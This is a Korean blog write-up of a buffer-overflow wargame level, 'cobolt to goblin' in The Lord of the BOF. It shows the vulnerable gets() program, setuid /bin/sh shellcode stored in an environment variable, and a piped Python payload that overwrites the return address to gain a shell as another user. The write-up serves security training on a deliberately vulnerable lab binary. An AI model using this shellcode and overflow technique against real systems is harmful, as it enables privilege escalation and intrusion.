ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LEVEL3] (cobolt -> goblin) : small buffer + stdin
    Wargame/LordOfTheBof (redhat) 2013. 6. 26. 14:26

    1. 문제 Source

    /*
            The Lord of the BOF : The Fellowship of the BOF
            - goblin
            - small buffer + stdin
    */
    
    int main()
    {
        char buffer[16];
        gets(buffer);
        printf("%s\n", buffer);
    }

    LEVEL2와 마찬가지로 buffer의 공간이 16 Byte밖에 안된다.

    그리고 strcpy로 buffer에 값을 채우는 방식이 아니라 gets를 이용해 buffer에 값을 받는다.

    즉, 값을 프로그램에 전달하는 방법의 차이일뿐, 풀이법은 LEVEL2와 같다.


    2. 환경변수에 shellcode 삽입

    우선 export 명령어로 환경변수에 shellcode를 삽입하고 env로 확인한다.

    [cobolt@localhost cobolt]$ export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

    [cobolt@localhost cobolt]$ env

    PWD=/home/cobolt

    REMOTEHOST=192.168.58.131

    HOSTNAME=localhost.localdomain

    LESSOPEN=|/usr/bin/lesspipe.sh %s

    USER=cobolt

    LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:

    MACHTYPE=i386-redhat-linux-gnu

    MAIL=/var/spool/mail/cobolt

    INPUTRC=/etc/inputrc

    SHELLCODE=1��1̀�É�1��F̀1�Ph//shh/bin��PS��1Ұ


    LEVEL2와 마찬가지로 이제 shellcode가 삽입된 환경변수의 주소를 찾자. 아래는 주소를 출력해주는 소스이다.

    int main()
    {
    	printf("%p\n", getenv("SHELLCODE"));
    	return 0;
    }


    컴파일 후 실행하면 shellcode가 있는 환경변수의 주소를 알아낼 수 있다.

    [cobolt@localhost cobolt]$ gcc -o getenv getenv.c 

    [cobolt@localhost cobolt]$ ./getenv 

    0xbffffec0


    이제 알아낸 shellcode 주소로 ret를 변경하자.


    3. Exploit

    LEVEL2와 마찬가지로 16 Byte의 buffer와 4 Byte의 SFP를 덮고 RET를 shellcode가 있는 환경변수의 주소로 덮는다.

    buffer 

    SFP 

    RET 

     16 Byte

    4 Byte 

    4 Byte 

     AAAAAAAAAAAAAAAA

    BBBB 

    \xc0\xfe\xff\xbf 


    이제 중요한것은 이것을 프로그램에 어떻게 넘기느냐는 것인데, cat을 이용해 아래와 같이 실행하면 된다.

    [cobolt@localhost cobolt]$ (python -c "print 'A'*16 + 'BBBB' + '\xc0\xfe\xff\xbf'"; cat) | ./goblin

    AAAAAAAAAAAAAAAABBBB����

    id

    uid=503(goblin) gid=502(cobolt) egid=503(goblin) groups=502(cobolt)

    my-pass

    euid = 503

    hackers proof


    성공 !


Designed by Tistory.